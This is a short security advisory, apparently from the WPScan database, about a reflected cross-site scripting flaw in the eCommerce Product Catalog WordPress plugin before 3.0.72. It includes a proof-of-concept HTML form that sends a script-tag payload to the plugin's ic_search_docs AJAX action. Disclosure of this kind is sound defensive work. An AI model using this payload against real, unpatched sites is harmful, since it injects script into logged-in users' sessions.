WordPress Plugin Vulnerabilities
eCommerce Product Catalog Plugin for WordPress < 3.0.72 - Reflected XSS via AJAX
Description
The plugin does not sanitise and escape a parameter before outputting it back in the response of an AJAX action available to any authenticated users, such as subscriber, leading to a Reflected Cross-Site Scripting
Proof of Concept
Make a logged in user open a page containing the HTML code below
<form action="https://example.com/wp-admin/admin-ajax.php?action=ic_search_docs" method="POST">
<input type="text" name="term" value="<script>alert(/XSS/)</script>">
<input type="submit" name="submit" value="submit">
</form>
Affects Plugins
Fixed in 3.0.72 Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
WPScan
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-10-17 (about 1 years ago)
Added
2022-10-17 (about 1 years ago)
Last Updated
2022-10-17 (about 1 years ago)
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